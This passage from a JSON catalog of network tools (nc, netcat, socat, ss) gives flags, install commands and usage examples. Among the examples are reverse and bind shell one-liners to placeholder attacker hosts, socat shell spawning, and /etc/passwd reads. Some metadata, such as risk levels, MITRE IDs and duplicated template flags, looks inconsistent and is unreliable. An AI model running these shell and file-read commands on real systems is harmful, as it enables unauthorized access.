      "template": "nc -c {flag-c} -e {flag-e} -b {flag-b} -g {flag-g} -G {flag-g}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "remote",
      "network-intensive"
    ],
    "global_vars": {
      "target": "ip",
      "port": "port"
    },
    "id": "network-socket-nc",
    "install": [
      {
        "method": "apt",
        "package_name": "ncat",
        "commands": [
          "apt-get install -y ncat"
        ]
      },
      {
        "method": "brew",
        "package_name": "nmap",
        "commands": [
          "brew install nmap"
        ]
      }
    ],
    "mitre_ids": [
      "T1035",
      "T1140",
      "T1187",
      "T1197",
      "T1208"
    ],
    "name": "nc",
    "namespace": "network:socket:nc",
    "parameters": [
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "as `-e'; use /bin/sh to exec [dangerous!!]",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "program to exec after connect [dangerous!!]",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "allow broadcasts",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "source-routing hop point[s], up to 8",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-G",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "source-routing pointer: 4, 8, 12",
        "aliases": [
          "-G"
        ],
        "flag": "-G"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "this cruft",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "delay interval for lines sent, ports scanned",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-k",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set keepalive option on socket",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "listen mode, for inbound connects",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "numeric-only IP addresses, no DNS",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "hex dump of traffic",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "local port number",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "randomize local and remote ports",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "quit after EOF on stdin and delay of secs",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "local source address",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-T",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set Type Of Service",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "answer TELNET negotiation",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "UDP mode",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "verbose [use twice to be more verbose]",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "timeout for connects and final net reads",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-z",
        "template_key": "flag-z",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "zero-I/O mode [used for scanning]",
        "aliases": [
          "-z"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "network-socket-socat"
    ],
    "risk_level": "low",
    "techniques": [
      "lateral-movement",
      "command-and-control",
      "credential-access",
      "defense-evasion",
      "execution",
      "persistence",
      "privilege-escalation",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# Netcat — TCP/IP Swiss Army Knife\n\nNetcat (nc) is one of the most versatile networking tools available. It can create TCP/UDP connections, listen for incoming connections, transfer files, scan ports, and act as a simple proxy or relay.\n\n## Common Use Cases\n\n### File Transfer\n\n```bash\n# Receiver (listen)\nnc -l -p 1234 > received_file.zip\n\n# Sender\ncat file.zip | nc 192.168.1.100 1234\n```\n\n### Simple Web Request\n\n```bash\necho -e \"GET / HTTP/1.1\\r\\nHost: example.com\\r\\n\\r\\n\" | nc example.com 80\n```\n\n### Port Scanning\n\n```bash\n# Verbose scan of common ports\nnc -zv 192.168.1.1 22 80 443 8080\n\n# Port range scan\nnc -zv 192.168.1.1 1-1024\n```\n\n### Reverse Shell (Security Testing)\n\n```bash\n# On attacker machine (listen)\nnc -l -p 4444\n\n# On target machine (connect back)\nnc attacker-host 4444 -e /bin/bash\n```\n\n## Security Considerations\n\n- Netcat with `-e` (execute) is dangerous — pipe to shell instead\n- Unencrypted — use `ncat --ssl` or SSH tunneling for sensitive data\n- Consider socat for more complex relay/proxy scenarios\n\n## Related Tools\n\n- **[socat](../../socket/socat.md)** — More advanced socket relay with SSL support\n- **[nmap](../../recon/nmap.md)** — Professional port scanning with service detection\n- **[ncat](../../socket/ncat.md)** — Modern netcat implementation from Nmap project\n",
    "_source": "netcat.md",
    "allowed-tools": [
      "nc",
      "netcat",
      "ncat",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "network.socket.data",
        "description": "Data transferred over network connection",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "network.socket.banner",
        "description": "Service banner received from remote host",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.socket.listen",
      "network.socket.connect",
      "network.socket.transfer",
      "network.scan.port",
      "network.proxy.relay",
      "network.diagnostic.banner"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.host",
          "description": "Target host to connect to"
        },
        {
          "type": "network.port",
          "description": "Port number for connection or listening"
        }
      ],
      "outputs": [
        {
          "type": "network.socket.data",
          "description": "Data received over the network connection",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Versatile networking utility for reading/writing data across TCP and UDP connections, port scanning, and network debugging.",
    "examples": [
      {
        "description": "Connect to a remote service",
        "command": "nc example.com 80"
      },
      {
        "description": "Listen for incoming connections on a port",
        "command": "nc -l -p 8080"
      },
      {
        "description": "Transfer a file between machines (receiving)",
        "command": "nc -l -p 1234 > received_file.txt"
      },
      {
        "description": "Transfer a file between machines (sending)",
        "command": "cat file.txt | nc receiver-host 1234"
      },
      {
        "description": "Port scan a range",
        "command": "nc -zv 192.168.1.1 20-100"
      },
      {
        "description": "Grab service banner",
        "command": "echo '' | nc -w 3 example.com 22"
      },
      {
        "description": "NetRunners revshell/shell",
        "command": "nc.exe {{IP}} {{PORT}} -e cmd"
      },
      {
        "description": "NetRunners revshell/shell",
        "command": "nc -e /bin/bash {{IP}} {{PORT}}"
      },
      {
        "description": "Basic client use - connect to a server",
        "command": "nc [hostname] [port]"
      },
      {
        "description": "Basic server use - listen on a specific port",
        "command": "nc -l -p [port]"
      },
      {
        "description": "Send a file from a client to a server Server side",
        "command": "nc -l -p [port] > [output-file]"
      },
      {
        "description": "Client side",
        "command": "nc [hostname] [port] < [input-file]"
      },
      {
        "description": "Create a simple chat server Server side",
        "command": "nc -l -p [port]"
      },
      {
        "description": "Client side",
        "command": "nc [hostname] [port]"
      },
      {
        "description": "Port scanning a host for open ports",
        "command": "nc -zv [hostname] [starting-port]-[ending-port]"
      },
      {
        "description": "Using UDP instead of TCP",
        "command": "nc -u [hostname] [port]"
      },
      {
        "description": "Use with a timeout setting",
        "command": "nc -w [timeout-in-seconds] [hostname] [port]"
      },
      {
        "description": "Listen for connections on multiple interfaces",
        "command": "nc -l -p [port] -k"
      },
      {
        "description": "Establish a reverse shell (use with caution) Attacker machine - listen for incoming connections",
        "command": "nc -l -p [port]"
      },
      {
        "description": "Victim machine - connect to attacker",
        "command": "nc [attacker-ip] [port] -e /bin/bash"
      },
      {
        "description": "Start a simple TCP server on a specified port",
        "command": "nc -l -p PORT_NUMBER"
      },
      {
        "description": "Connect to a TCP server on a specified IP address and port",
        "command": "nc IP_ADDRESS PORT_NUMBER"
      },
      {
        "description": "Transfer a file from a server to a client On the server side (listening and sending the file)",
        "command": "nc -l -p PORT_NUMBER < filename"
      },
      {
        "description": "On the client side (receiving the file)",
        "command": "nc IP_ADDRESS PORT_NUMBER > filename"
      },
      {
        "description": "Scan open ports on a target host",
        "command": "nc -zv IP_ADDRESS PORT_RANGE"
      },
      {
        "description": "Use netcat as a simple chat tool On one machine (listening)",
        "command": "nc -l -p PORT_NUMBER"
      },
      {
        "description": "On another machine (connecting to the listener)",
        "command": "nc IP_ADDRESS PORT_NUMBER"
      },
      {
        "description": "Create a reverse shell from a client to a server On the attacker's machine (listening)",
        "command": "nc -l -p PORT_NUMBER -e /bin/bash"
      },
      {
        "description": "On the victim's machine (connecting back to the attacker's machine)",
        "command": "nc IP_ADDRESS PORT_NUMBER -e /bin/bash"
      },
      {
        "description": "Bind shell on the server side On the server machine (listening and attaching a shell)",
        "command": "nc -l -p PORT_NUMBER -e /bin/bash"
      },
      {
        "description": "On the client machine (connecting to the bind shell)",
        "command": "nc IP_ADDRESS PORT_NUMBER"
      }
    ],
    "execution": {
      "template": "netcat {flag-c} {flag-e} {flag-b} {flag-g} {flag-g}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {
      "target": "ip",
      "port": "port"
    },
    "id": "network-socket-netcat",
    "install": [
      {
        "method": "apt",
        "package_name": "netcat-openbsd",
        "commands": [
          "apt-get install -y netcat-openbsd"
        ]
      }
    ],
    "mitre_ids": [
      "T1035",
      "T1140",
      "T1187",
      "T1197",
      "T1208"
    ],
    "name": "netcat",
    "namespace": "network:socket:netcat",
    "parameters": [
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "as `-e'; use /bin/sh to exec [dangerous!!]",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "program to exec after connect [dangerous!!]",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "allow broadcasts",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "source-routing hop point[s], up to 8",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-G",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "source-routing pointer: 4, 8, 12",
        "aliases": [
          "-G"
        ],
        "flag": "-G"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "this cruft",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "delay interval for lines sent, ports scanned",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-k",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set keepalive option on socket",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "listen mode, for inbound connects",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "numeric-only IP addresses, no DNS",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "hex dump of traffic",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "local port number",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "randomize local and remote ports",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "quit after EOF on stdin and delay of secs",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "local source address",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-T",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set Type Of Service",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "answer TELNET negotiation",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "UDP mode",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "verbose [use twice to be more verbose]",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "timeout for connects and final net reads",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-z",
        "template_key": "flag-z",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "zero-I/O mode [used for scanning]",
        "aliases": [
          "-z"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Netcat man page",
        "url": "https://linux.die.net/man/1/nc"
      },
      {
        "label": "Netcat for beginners",
        "url": "https://www.digitalocean.com/community/tutorials/netcat-commands"
      }
    ],
    "related_tools": [
      "telnet",
      "nmap",
      "socat",
      "ncat",
      "network-socket-socat"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "command-and-control",
      "credential-access",
      "defense-evasion",
      "execution",
      "lateral-movement",
      "persistence",
      "privilege-escalation",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "network-data",
        "service-banner"
      ],
      "consumes": [
        "target-host",
        "listen-port"
      ]
    }
  },
  {
    "_body": "\n\n# Socat — Multipurpose Socket Relay\n\nSocat (SOcket CAT) is a powerful networking tool that establishes bidirectional data channels between two endpoints. It can connect nearly any type of I/O endpoint: TCP, UDP, SSL, UNIX sockets, pipes, files, serial ports, and executables.\n\n## Address Types\n\n| Type | Syntax | Description |\n|------|--------|-------------|\n| TCP | `TCP:host:port` | TCP client connection |\n| TCP-LISTEN | `TCP-LISTEN:port` | TCP server listener |\n| UDP | `UDP:host:port` | UDP datagram |\n| UNIX | `UNIX-CONNECT:/path` | UNIX socket client |\n| UNIX-LISTEN | `UNIX-LISTEN:/path` | UNIX socket server |\n| SSL | `OPENSSL:host:port` | SSL/TLS connection |\n| STDIO | `STDIO` | Standard input/output |\n| EXEC | `EXEC:cmd` | Execute a program |\n| FILE | `FILE:/path` | Open a file |\n| SERIAL | `/dev/ttyUSB0` | Serial port |\n\n## Common Patterns\n\n### Port Forwarding\n```bash\n# Forward local port to remote\nsocat TCP-LISTEN:8080,reuseaddr,fork TCP:remote-server:80\n\n# WITH SSL (decrypt at proxy)\nsocat TCP-LISTEN:8443,reuseaddr,fork OPENSSL:backend:443\n```\n\n### Network Debugging\n```bash\n# Echo server for testing\nsocat TCP-LISTEN:9999,reuseaddr,fork EXEC:cat\n\n# Hex dump of traffic\nsocat -v TCP-LISTEN:8080,fork TCP:localhost:80\n```\n\n### Security\n```bash\n# SSL-terminated port forward\nsocat OPENSSL-LISTEN:443,cert=fullchain.pem,key=privkey.pem,verify=0,fork TCP:localhost:8080\n\n# Encrypted tunnel between two machines\nsocat TCP-LISTEN:4443,reuseaddr TCP:localhost:4444\n```\n\n## Related Tools\n\n- **[netcat (nc)](../socket/nc.md)** — Simple socket connections\n- **[ncat](../../socket/ncat.md)** — Modern netcat with SSL\n- **[ssh](../../remote/ssh.md)** — Encrypted tunneling with authentication\n- **[haproxy](../../proxy/haproxy.md)** — Production-grade TCP/HTTP proxy\n",
    "_source": "socat.md",
    "allowed-tools": [
      "socat",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "network.socket.data",
        "description": "Data relayed through the socat connection",
        "mime": "text/plain",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.socket.proxy",
      "network.socket.ssl",
      "network.socket.relay",
      "network.port.redirect",
      "network.socket.udp",
      "network.serial.connect",
      "network.socket.forward",
      "security.execution.command",
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.address.source",
          "description": "Source address specification"
        },
        {
          "type": "network.address.target",
          "description": "Target address specification"
        }
      ],
      "outputs": [
        {
          "type": "network.socket.data",
          "description": "Data transferred between endpoints",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Multipurpose relay tool for bidirectional data transfer between sockets, pipes, files, and serial ports with SSL support.",
    "examples": [
      {
        "description": "Simple TCP port forwarder",
        "command": "socat TCP-LISTEN:8080,fork TCP:localhost:80"
      },
      {
        "description": "Expose local HTTP server through SSL tunnel",
        "command": "socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:localhost:8080"
      },
      {
        "description": "Create a UNIX socket proxy",
        "command": "socat UNIX-LISTEN:/tmp/proxy.sock,fork TCP:remote:3306"
      },
      {
        "description": "Read/write to serial port",
        "command": "socat - /dev/ttyUSB0,raw,nonblock,echo=0,crnl"
      },
      {
        "description": "UDP port forward",
        "command": "socat UDP-RECVFROM:5000,fork UDP-SENDTO:localhost:6000"
      },
      {
        "description": "Bidirectional relay between two sockets",
        "command": "socat TCP:localhost:8080 TCP:remote:9090"
      },
      {
        "description": "The command leverages socats ability to relay data, reading arbitary file by opening it in read-only mode.",
        "command": "socat -u OPEN:/etc/passwd,rdonly STDOUT\n"
      },
      {
        "description": "The exec argument runs an arbitrary command and spawn a shell.",
        "command": "socat stdin exec:bash\n"
      },
      {
        "description": "The exec argument runs an arbitrary command.",
        "command": "socat stdin exec:whoami\n"
      },
      {
        "description": "Argument injection: read local file: The command leverages socats ability to relay data, reading arbitary file by opening it in read-only mode.",
        "command": "socat -u OPEN:/etc/passwd,rdonly STDOUT"
      },
      {
        "description": "Argument injection: spawn interactive shell: The exec argument runs an arbitrary command and spawn a shell.",
        "command": "socat stdin exec:bash"
      },
      {
        "description": "Argument injection: execute arbitrary command: The exec argument runs an arbitrary command.",
        "command": "socat stdin exec:whoami"
      },
      {
        "description": "Darkiros PIVOTING: socat port forwarding listener (on local machine)",
        "command": "./socat TCP-LISTEN:[port_listener],fork,reuseaddr TCP-LISTEN:[port_to_forward]"
      },
      {
        "description": "Darkiros PIVOTING: socat port forwarding connect (on remote machine)",
        "command": "socat TCP:[connect_ip]:[connect_port] TCP:127.0.0.1:[port_to_forward]"
      },
      {
        "description": "Darkiros PIVOTING: socat reverse shell (remote victime)",
        "command": "./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[listner_ip]:[listner_port]"
      },
      {
        "description": "Darkiros PIVOTING: socat reverse shell (local listener)",
        "command": "socat file:`tty`,raw,echo=0 tcp-listen:[port|4444]"
      }
    ],
    "execution": {
      "template": "socat {flag-h}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "output-json",
      "remote",
      "network-intensive",
      "file-system",
      "process-manip"
    ],
    "global_vars": {
      "target": "ip",
      "port": "port"
    },
    "id": "network-socket-socat",
    "install": [
      {
        "method": "apt",
        "package_name": "socat",
        "commands": [
          "apt-get install -y socat"
        ]
      }
    ],
    "name": "socat",
    "namespace": "network:socket:socat",
    "parameters": [
      {
        "name": "0",
        "type": "boolean",
        "required": false,
        "description": "do not prefer an IP version",
        "aliases": [
          "-0"
        ],
        "flag": "-0"
      },
      {
        "name": "4",
        "type": "boolean",
        "required": false,
        "description": "prefer IPv4 if version is not explicitly specified",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "6",
        "type": "boolean",
        "required": false,
        "description": "prefer IPv6 if version is not explicitly specified",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "D",
        "type": "boolean",
        "required": false,
        "description": "analyze file descriptors before loop",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "L",
        "type": "boolean",
        "required": false,
        "description": "try to obtain lock, or fail",
        "aliases": [
          "-L"
        ],
        "flag": "-L"
      },
      {
        "name": "R",
        "type": "boolean",
        "required": false,
        "description": "raw dump of data flowing from right to left",
        "aliases": [
          "-R"
        ],
        "flag": "-R"
      },
      {
        "name": "S",
        "type": "boolean",
        "required": false,
        "description": "log these signals, override default",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "T",
        "type": "boolean",
        "required": false,
        "description": "total inactivity timeout in seconds",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "U",
        "type": "boolean",
        "required": false,
        "description": "unidirectional mode (right to left)",
        "aliases": [
          "-U"
        ],
        "flag": "-U"
      },
      {
        "name": "V",
        "type": "boolean",
        "required": false,
        "description": "print version and feature information to stdout, and exit",
        "aliases": [
          "-V"
        ],
        "flag": "-V"
      },
      {
        "name": "W",
        "type": "boolean",
        "required": false,
        "description": "try to obtain lock, or wait",
        "aliases": [
          "-W"
        ],
        "flag": "-W"
      },
      {
        "name": "b",
        "type": "boolean",
        "required": false,
        "description": "set data buffer size (8192)",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "d",
        "type": "boolean",
        "required": false,
        "description": "increase verbosity (use up to 4 times; 2 are recommended)",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "d0",
        "type": "boolean",
        "required": false,
        "description": "|1|2|3|4    set verbosity level (0: Errors; 4 all including Debug)",
        "aliases": [
          "-d0"
        ],
        "flag": "-d0"
      },
      {
        "name": "experimental",
        "type": "boolean",
        "required": false,
        "description": "enable experimental features",
        "aliases": [
          "--experimental"
        ],
        "flag": "--experimental"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "-hh like -h, plus a list of all common address option names -hhh like -hh, plus a list of all available address option names -d[ddd] increase verbosity (use up to 4 times; 2 are recommended) -d0|1|2|3|4 set verbosity level (0: Errors; 4 all including Debug) -D analyze file descriptors before loop --experimental enable experimental features --statistics output transfer statistics on exit -ly[facility] log to syslog, using facility (default is daemon) -lf<logfile> log to file -ls log to stderr (default if no other log) -lm[facility] mixed log mode (stderr during initialization, then syslog) -lp<progname> set the program name used for logging and vars -lu use microseconds for logging timestamps -lh add hostname to log messages -v verbose text dump of data traffic -x verbose hexadecimal dump of data traffic -r <file> raw dump of data flowing from left to right -R <file> raw dump of data flowing from right to left -b<size_t> set data buffer size (8192) -s sloppy (continue on error) -S<sigmask> log these signals, override default -t<timeout> wait seconds before closing second channel -T<timeout> total inactivity timeout in seconds -u unidirectional mode (left to right) -U unidirectional mode (right to left) -g do not check option groups -L <lockfile> try to obtain lock, or fail -W <lockfile> try to obtain lock, or wait -0 do not prefer an IP version -4 prefer IPv4 if version is not explicitly specified -6 prefer IPv6 if version is not explicitly specified",
        "aliases": [
          "-h",
          "-?"
        ],
        "flag": "-h"
      },
      {
        "name": "g",
        "type": "boolean",
        "required": false,
        "description": "do not check option groups",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "hh",
        "type": "boolean",
        "required": false,
        "description": "plus a list of all common address option names",
        "aliases": [
          "-hh",
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "hhh",
        "type": "boolean",
        "required": false,
        "description": "plus a list of all available address option names",
        "aliases": [
          "-hhh",
          "-hh"
        ],
        "flag": "-hh"
      },
      {
        "name": "lf",
        "type": "boolean",
        "required": false,
        "description": "log to file",
        "aliases": [
          "-lf"
        ],
        "flag": "-lf"
      },
      {
        "name": "lh",
        "type": "boolean",
        "required": false,
        "description": "add hostname to log messages",
        "aliases": [
          "-lh"
        ],
        "flag": "-lh"
      },
      {
        "name": "lm",
        "type": "boolean",
        "required": false,
        "description": "mixed log mode (stderr during initialization, then syslog)",
        "aliases": [
          "-lm"
        ],
        "flag": "-lm"
      },
      {
        "name": "lp",
        "type": "boolean",
        "required": false,
        "description": "set the program name used for logging and vars",
        "aliases": [
          "-lp"
        ],
        "flag": "-lp"
      },
      {
        "name": "ls",
        "type": "boolean",
        "required": false,
        "description": "log to stderr (default if no other log)",
        "aliases": [
          "-ls"
        ],
        "flag": "-ls"
      },
      {
        "name": "lu",
        "type": "boolean",
        "required": false,
        "description": "use microseconds for logging timestamps",
        "aliases": [
          "-lu"
        ],
        "flag": "-lu"
      },
      {
        "name": "ly",
        "type": "boolean",
        "required": false,
        "description": "log to syslog, using facility (default is daemon)",
        "aliases": [
          "-ly"
        ],
        "flag": "-ly"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "raw dump of data flowing from left to right",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "sloppy",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "t",
        "type": "boolean",
        "required": false,
        "description": "wait seconds before closing second channel",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "u",
        "type": "boolean",
        "required": false,
        "description": "unidirectional mode (left to right)",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "verbose text dump of data traffic",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "x",
        "type": "boolean",
        "required": false,
        "description": "verbose hexadecimal dump of data traffic",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Socat documentation",
        "url": "http://www.dest-unreach.org/socat/doc/socat.html"
      },
      {
        "label": "Socat examples",
        "url": "http://www.dest-unreach.org/socat/doc/socat-multicast.html"
      }
    ],
    "related_tools": [
      "netcat",
      "ssh",
      "nginx",
      "ncat",
      "network-socket-nc"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "command-and-control",
      "lateral-movement",
      "collection",
      "execution",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "relayed-data"
      ],
      "consumes": [
        "source-address",
        "target-address"
      ]
    }
  },
  {
    "_body": "\n# ss\n\nss is a command-line utility. Socket statistics utility; can be used to read remote files via TCP.\n",
    "_source": "ss.md",
    "allowed-tools": [
      "ss"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
